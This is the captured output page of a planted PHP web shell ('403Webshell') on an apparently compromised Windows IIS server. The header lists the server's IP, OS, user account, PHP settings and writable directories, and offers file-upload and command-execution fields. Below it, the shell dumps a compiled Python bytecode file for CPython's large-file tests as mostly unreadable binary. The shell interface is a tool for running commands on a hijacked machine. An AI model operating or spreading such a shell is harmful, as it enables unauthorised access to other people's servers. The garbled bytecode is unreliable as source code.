403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_largefile.cpython-313.opt-2.pyc
�

��iK-����SSKrSSKrSSKrSSKrSSKrSSKrSSKJrJrJ	r	 SSKJ
r
 SSKJr SSKJ
r
Jr SSKrSSKrSr\
S-r"SS	5r"S
S\5rSr"S
S\\R.5r\R2"\"\S5(+S5"SS\\R.55rSr"SS\\R.5r"SS\\R.5rSr\ S:Xa\RB"5 gg)�N)�requires�
bigmemtest�requires_resource)�
SHORT_TIMEOUT)�
socket_helper)�TESTFN�unlinkly*�2c�*�\rSrSrSr\S5rSrg)�
LargeFileTest�c��[RR[5(aSnOSnUR	[U5n[R
"UR
55RnU[S-:Xa
SSS5 gUS:XaURS5 URS5 UR[5 URS5 UR5 UR[R
"UR
55R[S-5 SSS5 g!,(df   g=f)N�r+bzw+b�r�z�a)
�os�path�existsr�open�fstat�fileno�st_size�size�write�seek�flush�assertEqual)�self�mode�f�current_sizes    �(C:\Python313\\Lib\test\test_largefile.py�setUp�LargeFileTest.setUps���
�7�7�>�>�&�!�!��D��D�
�Y�Y�v�t�
$���8�8�A�H�H�J�/�7�7�L��t�A�v�%��%�
$�
�q� �����
�
�F�F�1�I�
�F�F�4�L�
�G�G�D�M�
�G�G�I����R�X�X�a�h�h�j�1�9�9�4��6�B�%�
$�
$�s�=D6�
B#D6�6
Ec��UR[S5 SSS5 [R"[5RS:XdURS5e[
[5 g!,(df   NW=f)N�wbrz0File was not truncated by opening with mode "wb")rrr�statr�failureExceptionr	�TESTFN2)�clss r#�
tearDownClass�LargeFileTest.tearDownClass,sV��
�X�X�f�d�
#��$��w�w�v��&�&�!�+��&�&�(8�9�
9��w��$�
#�s�A*�*
A8�N)�__name__�
__module__�__qualname__�__firstlineno__r$�classmethodr,�__static_attributes__r.�r#rrs��C�(���r5rc�j�\rSrSr\"\SSS9S5rSrSrSr	S	r
S
r\"\SSS9S5rSr
g
)�TestFileMethods�6�F)r�memuse�dry_runc��UR[S5nUR[UR	55[
S-5 URUR
5[
S-5 SSS5 g!,(df   g=f)N�rbr)rrr�len�readr�tell�r�_sizer!s   r#�test_large_read�TestFileMethods.test_large_read=sX���Y�Y�v�t�
$�����S�����]�D�1�H�5����Q�V�V�X�t�a�x�0�%�
$�
$�s�AA8�8
Bc�z�UR[R"[5R[
S-5 g)Nr)rrr(rrr)rs r#�test_osstat�TestFileMethods.test_osstatDs$����������0�0�$�q�&�9r5c�H�UR[S5nURUR5S5 URUR	S5S5 URUR5S5 URS5 URUR5S5 URSS5 URUR5S5 URS5 URUR5S5 URSS5 URUR5S5 URSS5 URUR5S5 URSS5 URUR5S5 URSS5 URUR5[S-S-5 URSS5 URUR5[S-S	-
5 UR[*S-
S5 URUR5S5 UR[5 URUR5[5 URUR	S5S
5 UR[*S-
S5 URUR	S5S5 URUR5S5 SSS5 g!,(df   g=f)Nr=rrr�*�Tr9����
r)rrrr@r?rr�rr!s  r#�test_seek_read�TestFileMethods.test_seek_readGs+��
�Y�Y�v�t�
$�����Q�V�V�X�q�)����Q�V�V�A�Y��-����Q�V�V�X�q�)�
�F�F�1�I����Q�V�V�X�q�)�
�F�F�1�a�L����Q�V�V�X�q�)�
�F�F�2�J����Q�V�V�X�r�*�
�F�F�2�q�M����Q�V�V�X�r�*�
�F�F�2�q�M����Q�V�V�X�r�*�
�F�F�1�a�L����Q�V�V�X�r�*�
�F�F�1�a�L����Q�V�V�X�t�a�x�!�|�4�
�F�F�3��N����Q�V�V�X�t�a�x�"�}�5�
�F�F�D�5��7�A�����Q�V�V�X�q�)�
�F�F�4�L����Q�V�V�X�t�,����Q�V�V�A�Y��-�
�F�F�D�5��7�A�����Q�V�V�A�Y��-����Q�V�V�X�q�)�9%�
$�
$�s�K3L�
L!c�N�UR[S5nUR[R"UR5SS5S5 UR[R"UR5SS5S5 UR[R"UR5SS5S5 UR[R"UR5SS5S5 UR[R"UR5SS5[S-S-5 UR[R"UR5SS5[S-S-
5 UR[R"UR5[*S-
S5S5 UR[R"UR5[S5[5 URURS5S	5 SSS5 g!,(df   g=f)
Nr=rrIrrJr9rKrLr)rrrr�lseekrrr?rMs  r#�
test_lseek�TestFileMethods.test_lseekfsd��
�Y�Y�v�t�
$�����R�X�X�a�h�h�j�!�Q�7��;����R�X�X�a�h�h�j�"�a�8�"�=����R�X�X�a�h�h�j�"�a�8�"�=����R�X�X�a�h�h�j�!�Q�7��<����R�X�X�a�h�h�j�!�Q�7��a����B����R�X�X�a�h�h�j�#�q�9�4��6�"�9�E����R�X�X�a�h�h�j�4�%��'�1�=�q�A����R�X�X�a�h�h�j�$��:�D�A����Q�V�V�A�Y��-�%�
$�
$�s�G6H�
H$c��UR[S5n[US5(d[R"S5eURSS5 UR
UR5[S-5 [S-
nURU5 UR5 UR
UR5U5 URSS5 UR
UR5U5 US-nURS5 URU5 UR
UR5S5 URSS5 UR
UR5U5 URS5 URS5 UR
UR5S5 URS5 UR
[UR55S5 SSS5 g!,(df   g=f)	Nr�truncatez.open().truncate() not available on this systemrr9rrLrI)rr�hasattr�unittest�SkipTestrrr@rrUr>r?)rr!�newsizes   r#�
test_truncate�TestFileMethods.test_truncatessp��
�Y�Y�v�u�
%���1�j�)�)��'�'�)9�:�:�
�F�F�1�a�L����Q�V�V�X�t�A�v�.��R�i�G�
�F�F�7�O�
�J�J�L����Q�V�V�X�w�/�
�F�F�1�a�L����Q�V�V�X�w�/�
�q�L�G�
�F�F�2�J�
�J�J�w�����Q�V�V�X�r�*�
�F�F�1�a�L����Q�V�V�X�w�/�
�F�F�1�I�
�J�J�q�M����Q�V�V�X�q�)�
�F�F�1�I�
���S�����]�A�.�?&�
%�
%�s�GG2�2
Hc���SHRnUR[S5nURU5 URUR	55 SSS5 MT g!,(df   Mf=f)N)i���l�r=)rrr�
assertTrue�seekable)r�posr!s   r#�
test_seekable�TestFileMethods.test_seekable�sJ��-�C����6�4�(�A����s������
�
��-�)�(�-�(�(�s�1A�
A)	c�f�UR[S5nURURS[R
5S5 UR[
UR55[S-5 SSS5 UR[S5nURURS[R5S5 UR[
UR55[S-
5 SSS5 UR[S5nURURS[R5[S-
5 UR[
UR55S5 SSS5 g!,(df   GN=f!,(df   N�=f!,(df   g=f)	Nr=rr�����r9�)rrrrr�SEEK_CURr>r?r�SEEK_SET�SEEK_ENDrAs   r#�test_seek_readall�!TestFileMethods.test_seek_readall�s���Y�Y�v�t�
$�����Q�V�V�A�r�{�{�3�Q�7����S�����]�D�1�H�5�%��Y�Y�v�t�
$�����Q�V�V�B����4�b�9����S�����]�D�2�I�6�%��Y�Y�v�t�
$�����Q�V�V�B����4�d�Q�h�?����S�����]�A�.�%�
$�%�
$��%�
$��%�
$�s&�A!E?�A!F�A!F"�?
F�
F�"
F0r.N)r/r0r1r2rrrCrFrNrRrZrarkr4r.r5r#r7r76sV���T�!�U�3�1�4�1�:�*�>.� /�D.��T�!�U�3�/�4�/r5r7c�^^�UU4SjnU$)Nc�>^�UUU4SjnU$)Nc�B>�[[S5(d[R"S5e[R"[
RRT55RT:a+[TS-S-5n[R"SUS35eT"U0UD6$)N�
disk_usagezrequires shutil.disk_usageiz	required z MiB of free disk space)
rV�shutilrWrXrprr�realpath�free�int)�args�kwargs�hsize�funr�requireds   ���r#�wrapper�6skip_no_disk_space.<locals>.decorator.<locals>.wrapper�s�����6�<�0�0��'�'�(D�E�E�� � ����!1�!1�$�!7�8�=�=��H��H�t�O�d�2�3���'�'���w�&=�>�@�@���'��'�'r5r.)rxrzrrys` ��r#�	decorator�%skip_no_disk_space.<locals>.decorator�s���	(��r5r.)rryr|s`` r#�skip_no_disk_spacer~�s���	��r5c�r�\rSrSr\"\R5r\"\\	S-5\
"S5S55rSrg)�TestCopyfile��@�cpuc���[RR[5n[R
"[[5 UR[RR[5U5 [[S5nURURS5S5 URUS-
5 URUR5S5 SSS5 g!,(df   g=f)Nr=��z�a)rr�getsizerrq�copyfiler*rrr?r)rrr!s   r#�test_it�TestCopyfile.test_it�s���
�w�w���v�&�������(����������1�4�8�
�'�4�
 �A����Q�V�V�A�Y�(<�=�
�F�F�4�!�8�����Q�V�V�X�';�<�!�
 �
 �s
�AC%�%
C3r.N)
r/r0r1r2�staticmethod�iorr~rrrr�r4r.r5r#r�r��s<������ �D����s�
�+��u��	=��,�	=r5r��sendfilezsendfile not supportedc�^�\rSrSr\"\R5r\rU4Sjr	U4Sjr
Sr\"\
\S-5\"S5S55rSrU=r$)	�TestSocketSendfile��c�0>�[TU]5 SUlg�N)�superr$�thread�r�	__class__s �r#r$�TestSocketSendfile.setUp�s���
��
����r5c�>�[TU]5 URb-URRUR5 SUlggr�)r��tearDownr��join�timeoutr�s �r#r��TestSocketSendfile.tearDown�s:���
�����;�;�"��K�K���T�\�\�*��D�K�#r5c�^^�UU4Sjn[R"5mURTR5 [R"X!4S9TlTR
R
5 TR5 g)Nc��>�U UR5upURTR5 U [[S5nTRTR5 UR
S5nU(dSSS5 SSS5 SSS5 gURU5 ME!,(df   O=fSSS5 O!,(df   O=fSSS5 g!,(df   g=f)Nr'i)�accept�
settimeoutr�rr*�wait�recvr)�sock�conn�_r!�chunk�eventrs     ��r#�run�*TestSocketSendfile.tcp_server.<locals>.run�s������+�+�-���������-��4���.�!��J�J�t�|�|�,�� $�	�	�%� 0��$�"�/�T��������	�/�.��T�T�T�����sF�0C�C�6B'�;C�C�B'�'
B5�1C�8	C�
C	�C�
C))�targetru)�	threading�Eventr�r��Threadr��start�set)rr�r�r�s`  @r#�
tcp_server�TestSocketSendfile.tcp_server�sS���
	'����!��������%��&�&�c��A���������
�	�	�r5r�r�c�Z�[R"5n[R"SU45nUR	U5 [R
"SU45n[
[S5nURU5 SSS5 SSS5 SSS5 UR5 [RR[5nUR[RR[5U5 [
[S5nURURS5S5 UR!US-
5 URUR5S5 SSS5 g!,(df   N�=f!,(df   N�=f!,(df   GN=f!,(df   g=f)N�z	127.0.0.1r=r�r�r�)r�find_unused_port�socket�
create_serverr��create_connectionrrr�r�rrr�rr*r?r)r�portr��clientr!rs      r#r��TestSocketSendfile.test_it�s ���-�-�/��
�
!�
!�2�t�*�
-���O�O�D�!��)�)�;��*=�>�&��&�$�'�1��O�O�A�&�(�?�.�
	
�
�
���w�w���v�&�����������1�4�8�
�'�4�
 �A����Q�V�V�A�Y�(<�=�
�F�F�4�!�8�����Q�V�V�X�';�<�!�
 �
(�'��?�>��.�
-��!�
 �sH�*F
�E9�)E(�;E9�F
�	AF�(
E6�2E9�9
F	�F
�

F�
F*)r�)r/r0r1r2r�r�rrr�r$r�r�r~rrrr�r4�
__classcell__)r�s@r#r�r��sQ������� �D��G����*���s�
�+��u��=��,�=r5r�c�v�SSKnURURUR5 [
RSSS:Xd[
RS:Xa[SS[[5-5 g[[SSS9nURS	5 URS
5 UR5 UR'5 [)[5 g![[4a N�f=f![[ 4a ["R$"S5ef=f!UR'5 [)[5 f=f)Nrrg�win�darwin�	largefilez-test requires %s bytes and a long time to runr')�	bufferingr]�xz*filesystem does not have largefile support)�signal�SIGXFSZ�SIG_IGN�ImportError�AttributeError�sys�platformr�strrrrrrr�OSError�
OverflowErrorrWrX�closer	)r�r!s  r#�setUpModuler�s���
��	�
�
�f�n�n�f�n�n�5��|�|�B�Q��5� �C�L�L�H�$<���@�3�t�9�L�	N�
����+��	�
�F�F�:��
�G�G�D�M�
�G�G�I�

�G�G�I��6�N��5
��(�
��
��*��'�	9��#�#�%8�9�
9�	9��
�G�G�I��6�N�s)�*C�2C-�C*�)C*�-'D�D�!D8c�8�\rSrSr\"\R5rSrg)�CLargeFileTesti*r.N)r/r0r1r2r�r�rr4r.r5r#r�r�*s������ �Dr5r�c�8�\rSrSr\"\R5rSrg)�PyLargeFileTesti.r.N)r/r0r1r2r��pyiorr4r.r5r#r�r�.s����	�	�"�Dr5r�c�@�[[5 [[5 gr�)r	rr*r.r5r#�tearDownModuler�2s��
�6�N�
�7�Or5�__main__)"rr�rWr�rqr��test.supportrrrrr�test.support.os_helperrr	r��_pyior�rr*rr7r~�TestCaser��skipIfrVr�r�r�r�r�r/�mainr.r5r#�<module>r�s���
�
��
�
��@�@�&�&�1�	����
�3�,����@v/�m�v/�p�=�=�(�"3�"3�=�&
���W�R��,�,�.F�G�3=���(9�(9�3=�H�3=�l!�H!�_�h�&7�&7�!�#�o�x�'8�'8�#��
�z���M�M�O�r5

Youez - 2016 - github.com/yon3zu
LinuXploit